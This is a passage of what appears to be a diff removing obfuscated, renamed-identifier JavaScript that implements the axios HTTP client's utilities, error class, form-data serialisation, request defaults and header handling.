- return null !== _0x585c99 && !_0x1a45f0(_0x585c99) && null !== _0x585c99.constructor && !_0x1a45f0(_0x585c99.constructor) && _0x320e8b(_0x585c99.constructor.isBuffer) && _0x585c99.constructor.isBuffer(_0x585c99);
- },
- isFormData: _0x299ac7 => {
- let _0x4bbaa3;
- return _0x299ac7 && ("function" == typeof FormData && _0x299ac7 instanceof FormData || _0x320e8b(_0x299ac7.append) && ("formdata" === (_0x4bbaa3 = _0x3324cb(_0x299ac7)) || "object" === _0x4bbaa3 && _0x320e8b(_0x299ac7.toString) && "[object FormData]" === _0x299ac7.toString()));
- },
- isArrayBufferView: function (_0x14ee67) {
- let _0x22ee3f;
- _0x22ee3f = "undefined" != typeof ArrayBuffer && ArrayBuffer.isView ? ArrayBuffer.isView(_0x14ee67) : _0x14ee67 && _0x14ee67.buffer && _0x23a517(_0x14ee67.buffer);
- return _0x22ee3f;
- },
- isString: _0x22b08f,
- isNumber: _0x5dd6bd,
- isBoolean: _0x514076 => true === _0x514076 || false === _0x514076,
- isObject: _0x5523da,
- isPlainObject: _0x74efdc,
- isUndefined: _0x1a45f0,
- isDate: _0x52bdb1,
- isFile: _0x185115,
- isBlob: _0x46f970,
- isRegExp: _0x5acedf,
- isFunction: _0x320e8b,
- isStream: _0x1e09b5 => _0x5523da(_0x1e09b5) && _0x320e8b(_0x1e09b5.pipe),
- isURLSearchParams: _0x4614a8,
- isTypedArray: _0x458178,
- isFileList: _0x46437b,
- forEach: _0x4bb3b0,
- merge: function _0x243014() {
- const {
- caseless: _0x3ee297
- } = _0x1c55ae(this) && this || {};
- const _0x2f5a58 = {};
- const _0x13cfd4 = (_0x91bbfa, _0x538f92) => {
- const _0x364bb1 = _0x3ee297 && _0x113fd9(_0x2f5a58, _0x538f92) || _0x538f92;
- _0x74efdc(_0x2f5a58[_0x364bb1]) && _0x74efdc(_0x91bbfa) ? _0x2f5a58[_0x364bb1] = _0x243014(_0x2f5a58[_0x364bb1], _0x91bbfa) : _0x74efdc(_0x91bbfa) ? _0x2f5a58[_0x364bb1] = _0x243014({}, _0x91bbfa) : _0xc1c198(_0x91bbfa) ? _0x2f5a58[_0x364bb1] = _0x91bbfa.slice() : _0x2f5a58[_0x364bb1] = _0x91bbfa;
- };
- for (let _0x1efd7f = 0, _0x2a5fd8 = arguments.length; _0x1efd7f < _0x2a5fd8; _0x1efd7f++) {
- arguments[_0x1efd7f] && _0x4bb3b0(arguments[_0x1efd7f], _0x13cfd4);
- }
- return _0x2f5a58;
- },
- extend: (_0x146667, _0x2fef71, _0x153aff, {
- allOwnKeys: _0x1f2f29
- } = {}) => (_0x4bb3b0(_0x2fef71, (_0x3d0bfa, _0x3439e7) => {
- _0x153aff && _0x320e8b(_0x3d0bfa) ? _0x146667[_0x3439e7] = _0x4de0c4(_0x3d0bfa, _0x153aff) : _0x146667[_0x3439e7] = _0x3d0bfa;
- }, {
- allOwnKeys: _0x1f2f29
- }), _0x146667),
- trim: _0x5b6027 => _0x5b6027.trim ? _0x5b6027.trim() : _0x5b6027.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, ""),
- stripBOM: _0x537bc7 => (65279 === _0x537bc7.charCodeAt(0) && (_0x537bc7 = _0x537bc7.slice(1)), _0x537bc7),
- inherits: (_0x1a895c, _0x3e5ef6, _0x32a37b, _0x2bccb2) => {
- _0x1a895c.prototype = Object.create(_0x3e5ef6.prototype, _0x2bccb2);
- _0x1a895c.prototype.constructor = _0x1a895c;
- Object.defineProperty(_0x1a895c, "super", {
- value: _0x3e5ef6.prototype
- });
- _0x32a37b && Object.assign(_0x1a895c.prototype, _0x32a37b);
- },
- toFlatObject: (_0x26550f, _0x52a3f2, _0x2beb5b, _0x12f974) => {
- let _0x10112f;
- let _0x2857d2;
- let _0x543e09;
- const _0x2afe06 = {};
- if (_0x52a3f2 = _0x52a3f2 || {}, null == _0x26550f) {
- return _0x52a3f2;
- }
- do {
- for (_0x10112f = Object.getOwnPropertyNames(_0x26550f), _0x2857d2 = _0x10112f.length; _0x2857d2-- > 0;) {
- _0x543e09 = _0x10112f[_0x2857d2];
- _0x12f974 && !_0x12f974(_0x543e09, _0x26550f, _0x52a3f2) || _0x2afe06[_0x543e09] || (_0x52a3f2[_0x543e09] = _0x26550f[_0x543e09], _0x2afe06[_0x543e09] = true);
- }
- _0x26550f = false !== _0x2beb5b && _0x3ccfbe(_0x26550f);
- } while (_0x26550f && (!_0x2beb5b || _0x2beb5b(_0x26550f, _0x52a3f2)) && _0x26550f !== Object.prototype);
- return _0x52a3f2;
- },
- kindOf: _0x3324cb,
- kindOfTest: _0x51588b,
- endsWith: (_0x365860, _0x133b56, _0x11a103) => {
- _0x365860 = String(_0x365860);
- (undefined === _0x11a103 || _0x11a103 > _0x365860.length) && (_0x11a103 = _0x365860.length);
- _0x11a103 -= _0x133b56.length;
- const _0xe881d0 = _0x365860.indexOf(_0x133b56, _0x11a103);
- return -1 !== _0xe881d0 && _0xe881d0 === _0x11a103;
- },
- toArray: _0x275ec3 => {
- if (!_0x275ec3) {
- return null;
- }
- if (_0xc1c198(_0x275ec3)) {
- return _0x275ec3;
- }
- let _0x5a1e71 = _0x275ec3.length;
- if (!_0x5dd6bd(_0x5a1e71)) {
- return null;
- }
- const _0x11fd59 = new Array(_0x5a1e71);
- for (; _0x5a1e71-- > 0;) {
- _0x11fd59[_0x5a1e71] = _0x275ec3[_0x5a1e71];
- }
- return _0x11fd59;
- },
- forEachEntry: (_0x1b8cc7, _0x462029) => {
- const _0x5deba1 = (_0x1b8cc7 && _0x1b8cc7[Symbol.iterator]).call(_0x1b8cc7);
- let _0x5998eb;
- for (; (_0x5998eb = _0x5deba1.next()) && !_0x5998eb.done;) {
- const _0x2ffa46 = _0x5998eb.value;
- _0x462029.call(_0x1b8cc7, _0x2ffa46[0], _0x2ffa46[1]);
- }
- },
- matchAll: (_0x3900b8, _0x534d6e) => {
- let _0x402fd6;
- const _0x2c4eb8 = [];
- for (; null !== (_0x402fd6 = _0x3900b8.exec(_0x534d6e));) {
- _0x2c4eb8.push(_0x402fd6);
- }
- return _0x2c4eb8;
- },
- isHTMLForm: _0x12d91d,
- hasOwnProperty: _0x320d16,
- hasOwnProp: _0x320d16,
- reduceDescriptors: _0x40cd6c,
- freezeMethods: _0x534228 => {
- _0x40cd6c(_0x534228, (_0x2af056, _0x4a8b42) => {
- if (_0x320e8b(_0x534228) && -1 !== ["arguments", "caller", "callee"].indexOf(_0x4a8b42)) {
- return false;
- }
- const _0x8c4f7 = _0x534228[_0x4a8b42];
- _0x320e8b(_0x8c4f7) && (_0x2af056.enumerable = false, "writable" in _0x2af056 ? _0x2af056.writable = false : _0x2af056.set || (_0x2af056.set = () => {
- throw Error("Can not rewrite read-only method '" + _0x4a8b42 + "'");
- }));
- });
- },
- toObjectSet: (_0x241815, _0x4fb8e5) => {
- const _0x286c72 = {};
- const _0x563220 = _0x1f2ab6 => {
- _0x1f2ab6.forEach(_0x198e1a => {
- _0x286c72[_0x198e1a] = true;
- });
- };
- _0xc1c198(_0x241815) ? _0x563220(_0x241815) : _0x563220(String(_0x241815).split(_0x4fb8e5));
- return _0x286c72;
- },
- toCamelCase: _0x2d41d6 => _0x2d41d6.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g, function (_0x152e82, _0x2f0897, _0x3223d2) {
- return _0x2f0897.toUpperCase() + _0x3223d2;
- }),
- noop: () => {},
- toFiniteNumber: (_0x33ff3f, _0x2bddbf) => (_0x33ff3f = +_0x33ff3f, Number.isFinite(_0x33ff3f) ? _0x33ff3f : _0x2bddbf),
- findKey: _0x113fd9,
- global: _0x113d97,
- isContextDefined: _0x1c55ae,
- ALPHABET: _0x361969,
- generateString: (_0x599ec5 = 16, _0x490e5c = _0x361969.ALPHA_DIGIT) => {
- let _0x3274eb = "";
- const {
- length: _0x416cdd
- } = _0x490e5c;
- for (; _0x599ec5--;) {
- _0x3274eb += _0x490e5c[Math.random() * _0x416cdd | 0];
- }
- return _0x3274eb;
- },
- isSpecCompliantForm: function (_0x317838) {
- return !!(_0x317838 && _0x320e8b(_0x317838.append) && "FormData" === _0x317838[Symbol.toStringTag] && _0x317838[Symbol.iterator]);
- },
- toJSONObject: _0x3aa7bd => {
- const _0x93b675 = new Array(10);
- const _0x12678f = (_0x122393, _0x282a8a) => {
- if (_0x5523da(_0x122393)) {
- if (_0x93b675.indexOf(_0x122393) >= 0) {
- return;
- }
- if (!("toJSON" in _0x122393)) {
- _0x93b675[_0x282a8a] = _0x122393;
- const _0x25cd1b = _0xc1c198(_0x122393) ? [] : {};
- _0x4bb3b0(_0x122393, (_0x33798e, _0x4ce8a2) => {
- const _0xc67618 = _0x12678f(_0x33798e, _0x282a8a + 1);
- !_0x1a45f0(_0xc67618) && (_0x25cd1b[_0x4ce8a2] = _0xc67618);
- });
- _0x93b675[_0x282a8a] = undefined;
- return _0x25cd1b;
- }
- }
- return _0x122393;
- };
- return _0x12678f(_0x3aa7bd, 0);
- },
- isAsyncFn: _0x5d05ec,
- isThenable: _0x504495 => _0x504495 && (_0x5523da(_0x504495) || _0x320e8b(_0x504495)) && _0x320e8b(_0x504495.then) && _0x320e8b(_0x504495.catch)
- };
- function _0x4fc50e(_0x5f0557, _0x3bb9ec, _0x58edea, _0x5acd14, _0x5c0a6a) {
- Error.call(this);
- Error.captureStackTrace ? Error.captureStackTrace(this, this.constructor) : this.stack = new Error().stack;
- this.message = _0x5f0557;
- this.name = "AxiosError";
- _0x3bb9ec && (this.code = _0x3bb9ec);
- _0x58edea && (this.config = _0x58edea);
- _0x5acd14 && (this.request = _0x5acd14);
- _0x5c0a6a && (this.response = _0x5c0a6a);
- }
- _0x172845.inherits(_0x4fc50e, Error, {
- toJSON: function () {
- return {
- message: this.message,
- name: this.name,
- description: this.description,
- number: this.number,
- fileName: this.fileName,
- lineNumber: this.lineNumber,
- columnNumber: this.columnNumber,
- stack: this.stack,
- config: _0x172845.toJSONObject(this.config),
- code: this.code,
- status: this.response && this.response.status ? this.response.status : null
- };
- }
- });
- const _0x3ca22e = _0x4fc50e.prototype;
- const _0x466f45 = {};
- ["ERR_BAD_OPTION_VALUE", "ERR_BAD_OPTION", "ECONNABORTED", "ETIMEDOUT", "ERR_NETWORK", "ERR_FR_TOO_MANY_REDIRECTS", "ERR_DEPRECATED", "ERR_BAD_RESPONSE", "ERR_BAD_REQUEST", "ERR_CANCELED", "ERR_NOT_SUPPORT", "ERR_INVALID_URL"].forEach(_0x59de43 => {
- _0x466f45[_0x59de43] = {
- value: _0x59de43
- };
- });
- Object.defineProperties(_0x4fc50e, _0x466f45);
- Object.defineProperty(_0x3ca22e, "isAxiosError", {
- value: true
- });
- _0x4fc50e.from = (_0x1503bd, _0x4cc34a, _0x34873c, _0x1190a5, _0x445b67, _0x2e8f74) => {
- const _0x5315e6 = Object.create(_0x3ca22e);
- _0x172845.toFlatObject(_0x1503bd, _0x5315e6, function (_0x3a1bdc) {
- return _0x3a1bdc !== Error.prototype;
- }, _0x2fb3b9 => "isAxiosError" !== _0x2fb3b9);
- _0x4fc50e.call(_0x5315e6, _0x1503bd.message, _0x4cc34a, _0x34873c, _0x1190a5, _0x445b67);
- _0x5315e6.cause = _0x1503bd;
- _0x5315e6.name = _0x1503bd.name;
- _0x2e8f74 && Object.assign(_0x5315e6, _0x2e8f74);
- return _0x5315e6;
- };
- const _0x1a4a45 = _0x4fc50e;
- function _0x30533b(_0x573f04) {
- return _0x172845.isPlainObject(_0x573f04) || _0x172845.isArray(_0x573f04);
- }
- function _0x127b53(_0x4c0052) {
- return _0x172845.endsWith(_0x4c0052, "[]") ? _0x4c0052.slice(0, -2) : _0x4c0052;
- }
- function _0x58fe90(_0x3085e6, _0x596073, _0x52ba29) {
- return _0x3085e6 ? _0x3085e6.concat(_0x596073).map(function (_0x4a0618, _0x192aa8) {
- _0x4a0618 = _0x127b53(_0x4a0618);
- return !_0x52ba29 && _0x192aa8 ? "[" + _0x4a0618 + "]" : _0x4a0618;
- }).join(_0x52ba29 ? "." : "") : _0x596073;
- }
- const _0x21a998 = _0x172845.toFlatObject(_0x172845, {}, null, function (_0x1bc6f5) {
- return /^is[A-Z]/.test(_0x1bc6f5);
- });
- const _0x1bde0b = function (_0x2365e5, _0x412164, _0x32235b) {
- if (!_0x172845.isObject(_0x2365e5)) {
- throw new TypeError("target must be an object");
- }
- _0x412164 = _0x412164 || new FormData();
- const _0x53e138 = (_0x32235b = _0x172845.toFlatObject(_0x32235b, {
- metaTokens: true,
- dots: false,
- indexes: false
- }, false, function (_0x4449ba, _0x30efe2) {
- return !_0x172845.isUndefined(_0x30efe2[_0x4449ba]);
- })).metaTokens;
- const _0x255aea = _0x32235b.visitor || _0x467f63;
- const _0x31623b = _0x32235b.dots;
- const _0x19c14d = _0x32235b.indexes;
- const _0x2bafc7 = (_0x32235b.Blob || "undefined" != typeof Blob && Blob) && _0x172845.isSpecCompliantForm(_0x412164);
- if (!_0x172845.isFunction(_0x255aea)) {
- throw new TypeError("visitor must be a function");
- }
- function _0x47d273(_0xc3d91f) {
- if (null === _0xc3d91f) {
- return "";
- }
- if (_0x172845.isDate(_0xc3d91f)) {
- return _0xc3d91f.toISOString();
- }
- if (!_0x2bafc7 && _0x172845.isBlob(_0xc3d91f)) {
- throw new _0x1a4a45("Blob is not supported. Use a Buffer instead.");
- }
- return _0x172845.isArrayBuffer(_0xc3d91f) || _0x172845.isTypedArray(_0xc3d91f) ? _0x2bafc7 && "function" == typeof Blob ? new Blob([_0xc3d91f]) : Buffer.from(_0xc3d91f) : _0xc3d91f;
- }
- function _0x467f63(_0x5e858a, _0x197361, _0x5942bc) {
- let _0x1fc28e = _0x5e858a;
- if (_0x5e858a && !_0x5942bc && "object" == typeof _0x5e858a) {
- if (_0x172845.endsWith(_0x197361, "{}")) {
- _0x197361 = _0x53e138 ? _0x197361 : _0x197361.slice(0, -2);
- _0x5e858a = JSON.stringify(_0x5e858a);
- } else {
- if (_0x172845.isArray(_0x5e858a) && function (_0x21ba46) {
- return _0x172845.isArray(_0x21ba46) && !_0x21ba46.some(_0x30533b);
- }(_0x5e858a) || (_0x172845.isFileList(_0x5e858a) || _0x172845.endsWith(_0x197361, "[]")) && (_0x1fc28e = _0x172845.toArray(_0x5e858a))) {
- _0x197361 = _0x127b53(_0x197361);
- _0x1fc28e.forEach(function (_0x10ff1a, _0x1c0251) {
- !_0x172845.isUndefined(_0x10ff1a) && null !== _0x10ff1a && _0x412164.append(true === _0x19c14d ? _0x58fe90([_0x197361], _0x1c0251, _0x31623b) : null === _0x19c14d ? _0x197361 : _0x197361 + "[]", _0x47d273(_0x10ff1a));
- });
- return false;
- }
- }
- }
- return !!_0x30533b(_0x5e858a) || (_0x412164.append(_0x58fe90(_0x5942bc, _0x197361, _0x31623b), _0x47d273(_0x5e858a)), false);
- }
- const _0x4d8de8 = [];
- const _0x1131b7 = Object.assign(_0x21a998, {
- defaultVisitor: _0x467f63,
- convertValue: _0x47d273,
- isVisitable: _0x30533b
- });
- if (!_0x172845.isObject(_0x2365e5)) {
- throw new TypeError("data must be an object");
- }
- (function _0x2605d9(_0x178c70, _0x401140) {
- if (!_0x172845.isUndefined(_0x178c70)) {
- if (-1 !== _0x4d8de8.indexOf(_0x178c70)) {
- throw Error("Circular reference detected in " + _0x401140.join("."));
- }
- _0x4d8de8.push(_0x178c70);
- _0x172845.forEach(_0x178c70, function (_0x2fcbeb, _0x2cbf11) {
- true === (!(_0x172845.isUndefined(_0x2fcbeb) || null === _0x2fcbeb) && _0x255aea.call(_0x412164, _0x2fcbeb, _0x172845.isString(_0x2cbf11) ? _0x2cbf11.trim() : _0x2cbf11, _0x401140, _0x1131b7)) && _0x2605d9(_0x2fcbeb, _0x401140 ? _0x401140.concat(_0x2cbf11) : [_0x2cbf11]);
- });
- _0x4d8de8.pop();
- }
- })(_0x2365e5);
- return _0x412164;
- };
- function _0x441ad3(_0x1647f7) {
- const _0x469f51 = {
- "!": "%21",
- "'": "%27",
- "(": "%28",
- ")": "%29",
- "~": "%7E",
- "%20": "+",
- "%00": "\0"
- };
- return encodeURIComponent(_0x1647f7).replace(/[!'()~]|%20|%00/g, function (_0x4b6bcd) {
- return _0x469f51[_0x4b6bcd];
- });
- }
- function _0x490dfd(_0x3b2794, _0x19b96b) {
- this._pairs = [];
- _0x3b2794 && _0x1bde0b(_0x3b2794, this, _0x19b96b);
- }
- const _0x46e405 = _0x490dfd.prototype;
- _0x46e405.append = function (_0x2589de, _0x5ab40f) {
- this._pairs.push([_0x2589de, _0x5ab40f]);
- };
- _0x46e405.toString = function (_0x1219ff) {
- const _0x550857 = _0x1219ff ? function (_0x46d928) {
- return _0x1219ff.call(this, _0x46d928, _0x441ad3);
- } : _0x441ad3;
- return this._pairs.map(function (_0x47d647) {
- return _0x550857(_0x47d647[0]) + "=" + _0x550857(_0x47d647[1]);
- }, "").join("&");
- };
- const _0x1221a9 = _0x490dfd;
- function _0x50dcc7(_0x141677) {
- return encodeURIComponent(_0x141677).replace(/%3A/gi, ":").replace(/%24/g, "$").replace(/%2C/gi, ",").replace(/%20/g, "+").replace(/%5B/gi, "[").replace(/%5D/gi, "]");
- }
- function _0x3c81fd(_0x67e012, _0x242366, _0x3985a0) {
- if (!_0x242366) {
- return _0x67e012;
- }
- const _0x3ba052 = _0x3985a0 && _0x3985a0.encode || _0x50dcc7;
- const _0x39aaee = _0x3985a0 && _0x3985a0.serialize;
- let _0x3bcea9;
- if (_0x3bcea9 = _0x39aaee ? _0x39aaee(_0x242366, _0x3985a0) : _0x172845.isURLSearchParams(_0x242366) ? _0x242366.toString() : new _0x1221a9(_0x242366, _0x3985a0).toString(_0x3ba052), _0x3bcea9) {
- const _0x39d456 = _0x67e012.indexOf("#");
- -1 !== _0x39d456 && (_0x67e012 = _0x67e012.slice(0, _0x39d456));
- _0x67e012 += (-1 === _0x67e012.indexOf("?") ? "?" : "&") + _0x3bcea9;
- }
- return _0x67e012;
- }
- const _0x1de20d = class {
- constructor() {
- this.handlers = [];
- }
- use(_0x263bc4, _0x3cf8ae, _0x5617e5) {
- this.handlers.push({
- fulfilled: _0x263bc4,
- rejected: _0x3cf8ae,
- synchronous: !!_0x5617e5 && _0x5617e5.synchronous,
- runWhen: _0x5617e5 ? _0x5617e5.runWhen : null
- });
- return this.handlers.length - 1;
- }
- eject(_0x417ae8) {
- this.handlers[_0x417ae8] && (this.handlers[_0x417ae8] = null);
- }
- clear() {
- this.handlers && (this.handlers = []);
- }
- forEach(_0xeb7e5e) {
- _0x172845.forEach(this.handlers, function (_0x329966) {
- null !== _0x329966 && _0xeb7e5e(_0x329966);
- });
- }
- };
- const _0x14dbce = {
- silentJSONParsing: true,
- forcedJSONParsing: true,
- clarifyTimeoutError: false
- };
- const _0x368d66 = {
- isBrowser: true,
- classes: {
- URLSearchParams: "undefined" != typeof URLSearchParams ? URLSearchParams : _0x1221a9,
- FormData: "undefined" != typeof FormData ? FormData : null,
- Blob: "undefined" != typeof Blob ? Blob : null
- },
- protocols: ["http", "https", "file", "blob", "url", "data"]
- };
- const _0xd071bc = "undefined" != typeof window && "undefined" != typeof document;
- _0x21c799 = "undefined" != typeof navigator && navigator.product;
- const _0x2f8611 = _0xd071bc && ["ReactNative", "NativeScript", "NS"].indexOf(_0x21c799) < 0;
- var _0x21c799;
- const _0x3a2879 = "undefined" != typeof WorkerGlobalScope && self instanceof WorkerGlobalScope && "function" == typeof self.importScripts;
- const _0xc8d0ab = {
- ..._0x592da3,
- ..._0x368d66
- };
- const _0x5c690a = function (_0x140232) {
- function _0x3032ba(_0x2e58a4, _0x2c6ddb, _0x42ead7, _0x4c96a2) {
- let _0xb07961 = _0x2e58a4[_0x4c96a2++];
- const _0x1714d3 = Number.isFinite(+_0xb07961);
- const _0x2bfa3b = _0x4c96a2 >= _0x2e58a4.length;
- _0xb07961 = !_0xb07961 && _0x172845.isArray(_0x42ead7) ? _0x42ead7.length : _0xb07961;
- return _0x2bfa3b ? (_0x172845.hasOwnProp(_0x42ead7, _0xb07961) ? _0x42ead7[_0xb07961] = [_0x42ead7[_0xb07961], _0x2c6ddb] : _0x42ead7[_0xb07961] = _0x2c6ddb, !_0x1714d3) : (_0x42ead7[_0xb07961] && _0x172845.isObject(_0x42ead7[_0xb07961]) || (_0x42ead7[_0xb07961] = []), _0x3032ba(_0x2e58a4, _0x2c6ddb, _0x42ead7[_0xb07961], _0x4c96a2) && _0x172845.isArray(_0x42ead7[_0xb07961]) && (_0x42ead7[_0xb07961] = function (_0xff2772) {
- const _0x1b4799 = {};
- const _0x26424a = Object.keys(_0xff2772);
- let _0x289f28;
- const _0x2ef6a8 = _0x26424a.length;
- let _0x68ff50;
- for (_0x289f28 = 0; _0x289f28 < _0x2ef6a8; _0x289f28++) {
- _0x68ff50 = _0x26424a[_0x289f28];
- _0x1b4799[_0x68ff50] = _0xff2772[_0x68ff50];
- }
- return _0x1b4799;
- }(_0x42ead7[_0xb07961])), !_0x1714d3);
- }
- if (_0x172845.isFormData(_0x140232) && _0x172845.isFunction(_0x140232.entries)) {
- const _0x1a4ba4 = {};
- _0x172845.forEachEntry(_0x140232, (_0x3277e6, _0x3c445f) => {
- _0x3032ba(function (_0x527bc7) {
- return _0x172845.matchAll(/\w+|\[(\w*)]/g, _0x527bc7).map(_0x546d3d => "[]" === _0x546d3d[0] ? "" : _0x546d3d[1] || _0x546d3d[0]);
- }(_0x3277e6), _0x3c445f, _0x1a4ba4, 0);
- });
- return _0x1a4ba4;
- }
- return null;
- };
- const _0x3e8615 = {
- transitional: _0x14dbce,
- adapter: ["xhr", "http"],
- transformRequest: [function (_0xa20f88, _0x403eab) {
- const _0x10789a = _0x403eab.getContentType() || "";
- const _0x1a4f51 = _0x10789a.indexOf("application/json") > -1;
- const _0x683b7f = _0x172845.isObject(_0xa20f88);
- if (_0x683b7f && _0x172845.isHTMLForm(_0xa20f88) && (_0xa20f88 = new FormData(_0xa20f88)), _0x172845.isFormData(_0xa20f88)) {
- return _0x1a4f51 && _0x1a4f51 ? JSON.stringify(_0x5c690a(_0xa20f88)) : _0xa20f88;
- }
- if (_0x172845.isArrayBuffer(_0xa20f88) || _0x172845.isBuffer(_0xa20f88) || _0x172845.isStream(_0xa20f88) || _0x172845.isFile(_0xa20f88) || _0x172845.isBlob(_0xa20f88)) {
- return _0xa20f88;
- }
- if (_0x172845.isArrayBufferView(_0xa20f88)) {
- return _0xa20f88.buffer;
- }
- if (_0x172845.isURLSearchParams(_0xa20f88)) {
- _0x403eab.setContentType("application/x-www-form-urlencoded;charset=utf-8", false);
- return _0xa20f88.toString();
- }
- let _0x41d2cf;
- if (_0x683b7f) {
- if (_0x10789a.indexOf("application/x-www-form-urlencoded") > -1) {
- return function (_0x1e1ac9, _0x2ea50b) {
- return _0x1bde0b(_0x1e1ac9, new _0xc8d0ab.classes.URLSearchParams(), Object.assign({
- visitor: function (_0x33ba16, _0x5ae5af, _0x2a108c, _0x5c3409) {
- return _0xc8d0ab.isNode && _0x172845.isBuffer(_0x33ba16) ? (this.append(_0x5ae5af, _0x33ba16.toString("base64")), false) : _0x5c3409.defaultVisitor.apply(this, arguments);
- }
- }, _0x2ea50b));
- }(_0xa20f88, this.formSerializer).toString();
- }
- if ((_0x41d2cf = _0x172845.isFileList(_0xa20f88)) || _0x10789a.indexOf("multipart/form-data") > -1) {
- const _0x1d3177 = this.env && this.env.FormData;
- return _0x1bde0b(_0x41d2cf ? {
- "files[]": _0xa20f88
- } : _0xa20f88, _0x1d3177 && new _0x1d3177(), this.formSerializer);
- }
- }
- return _0x683b7f || _0x1a4f51 ? (_0x403eab.setContentType("application/json", false), function (_0x4d2290, _0x236e27, _0x38718f) {
- if (_0x172845.isString(_0x4d2290)) {
- try {
- (0, JSON.parse)(_0x4d2290);
- return _0x172845.trim(_0x4d2290);
- } catch (_0x3836a8) {
- if ("SyntaxError" !== _0x3836a8.name) {
- throw _0x3836a8;
- }
- }
- }
- return (0, JSON.stringify)(_0x4d2290);
- }(_0xa20f88)) : _0xa20f88;
- }],
- transformResponse: [function (_0x41714c) {
- const _0x2ff4dc = this.transitional || _0x3e8615.transitional;
- const _0x316cf6 = _0x2ff4dc && _0x2ff4dc.forcedJSONParsing;
- const _0x3cd1bc = "json" === this.responseType;
- if (_0x41714c && _0x172845.isString(_0x41714c) && (_0x316cf6 && !this.responseType || _0x3cd1bc)) {
- const _0x2819b3 = !(_0x2ff4dc && _0x2ff4dc.silentJSONParsing) && _0x3cd1bc;
- try {
- return JSON.parse(_0x41714c);
- } catch (_0x36c10c) {
- if (_0x2819b3) {
- if ("SyntaxError" === _0x36c10c.name) {
- throw _0x1a4a45.from(_0x36c10c, _0x1a4a45.ERR_BAD_RESPONSE, this, null, this.response);
- }
- throw _0x36c10c;
- }
- }
- }
- return _0x41714c;
- }],
- timeout: 0,
- xsrfCookieName: "XSRF-TOKEN",
- xsrfHeaderName: "X-XSRF-TOKEN",
- maxContentLength: -1,
- maxBodyLength: -1,
- env: {
- FormData: _0xc8d0ab.classes.FormData,
- Blob: _0xc8d0ab.classes.Blob
- },
- validateStatus: function (_0x2c2468) {
- return _0x2c2468 >= 200 && _0x2c2468 < 300;
- },
- headers: {
- common: {
- Accept: "application/json, text/plain, */*",
- "Content-Type": undefined
- }
- }
- };
- _0x172845.forEach(["delete", "get", "head", "post", "put", "patch"], _0x2ce162 => {
- _0x3e8615.headers[_0x2ce162] = {};
- });
- const _0x54860b = _0x3e8615;
- const _0x13c740 = _0x172845.toObjectSet(["age", "authorization", "content-length", "content-type", "etag", "expires", "from", "host", "if-modified-since", "if-unmodified-since", "last-modified", "location", "max-forwards", "proxy-authorization", "referer", "retry-after", "user-agent"]);
- const _0x4e8a57 = Symbol("internals");
- function _0x1a2015(_0x2e9730) {
- return _0x2e9730 && String(_0x2e9730).trim().toLowerCase();
- }
- function _0x312283(_0x5514ef) {
- return false === _0x5514ef || null == _0x5514ef ? _0x5514ef : _0x172845.isArray(_0x5514ef) ? _0x5514ef.map(_0x312283) : String(_0x5514ef);
- }
- function _0x20b28a(_0x410250, _0xa2733f, _0x57e25e, _0x2d9da7, _0xe3e9a) {
- return _0x172845.isFunction(_0x2d9da7) ? _0x2d9da7.call(this, _0xa2733f, _0x57e25e) : (_0xe3e9a && (_0xa2733f = _0x57e25e), _0x172845.isString(_0xa2733f) ? _0x172845.isString(_0x2d9da7) ? -1 !== _0xa2733f.indexOf(_0x2d9da7) : _0x172845.isRegExp(_0x2d9da7) ? _0x2d9da7.test(_0xa2733f) : undefined : undefined);
- }
- class _0x223105 {
- constructor(_0x54e9b8) {
- _0x54e9b8 && this.set(_0x54e9b8);
- }
- set(_0x4fb935, _0x400c2d, _0xbda6b5) {
- const _0x3ca4de = this;
- function _0x12f601(_0x2ebeb8, _0x23690e, _0x351aed) {
- const _0x324511 = _0x1a2015(_0x23690e);
- if (!_0x324511) {
- throw new Error("header name must be a non-empty string");
- }
- const _0x8efc0a = _0x172845.findKey(_0x3ca4de, _0x324511);
- (!_0x8efc0a || undefined === _0x3ca4de[_0x8efc0a] || true === _0x351aed || undefined === _0x351aed && false !== _0x3ca4de[_0x8efc0a]) && (_0x3ca4de[_0x8efc0a || _0x23690e] = _0x312283(_0x2ebeb8));
- }
- const _0x404cd2 = (_0x12d6f2, _0x4c8cde) => _0x172845.forEach(_0x12d6f2, (_0x32f4d9, _0x13d78b) => _0x12f601(_0x32f4d9, _0x13d78b, _0x4c8cde));
- _0x172845.isPlainObject(_0x4fb935) || _0x4fb935 instanceof this.constructor ? _0x404cd2(_0x4fb935, _0x400c2d) : _0x172845.isString(_0x4fb935) && (_0x4fb935 = _0x4fb935.trim()) && !/^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(_0x4fb935.trim()) ? _0x404cd2((_0x2ea597 => {
- const _0x45c5e4 = {};
- let _0x3bb718;
- let _0x7cd438;
- let _0x1e4157;
- _0x2ea597 && _0x2ea597.split("\n").forEach(function (_0x495cbb) {
- _0x1e4157 = _0x495cbb.indexOf(":");
- _0x3bb718 = _0x495cbb.substring(0, _0x1e4157).trim().toLowerCase();
- _0x7cd438 = _0x495cbb.substring(_0x1e4157 + 1).trim();
- !_0x3bb718 || _0x45c5e4[_0x3bb718] && _0x13c740[_0x3bb718] || ("set-cookie" === _0x3bb718 ? _0x45c5e4[_0x3bb718] ? _0x45c5e4[_0x3bb718].push(_0x7cd438) : _0x45c5e4[_0x3bb718] = [_0x7cd438] : _0x45c5e4[_0x3bb718] = _0x45c5e4[_0x3bb718] ? _0x45c5e4[_0x3bb718] + ", " + _0x7cd438 : _0x7cd438);
- });
- return _0x45c5e4;
- })(_0x4fb935), _0x400c2d) : null != _0x4fb935 && _0x12f601(_0x400c2d, _0x4fb935, _0xbda6b5);
- return this;
- }
- get(_0x5e490c, _0x156071) {
- _0x5e490c = _0x1a2015(_0x5e490c);
- if (_0x5e490c) {
- const _0x23a984 = _0x172845.findKey(this, _0x5e490c);
- if (_0x23a984) {
- const _0x3c17c6 = this[_0x23a984];
- if (!_0x156071) {
- return _0x3c17c6;
- }
- if (true === _0x156071) {
- return function (_0x4b07c2) {
- const _0x2f18e5 = Object.create(null);
- const _0x7136af = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g;
- let _0x4d45b0;
- for (; _0x4d45b0 = _0x7136af.exec(_0x4b07c2);) {
- _0x2f18e5[_0x4d45b0[1]] = _0x4d45b0[2];
- }
- return _0x2f18e5;
- }(_0x3c17c6);
- }
- if (_0x172845.isFunction(_0x156071)) {
- return _0x156071.call(this, _0x3c17c6, _0x23a984);
- }
- if (_0x172845.isRegExp(_0x156071)) {
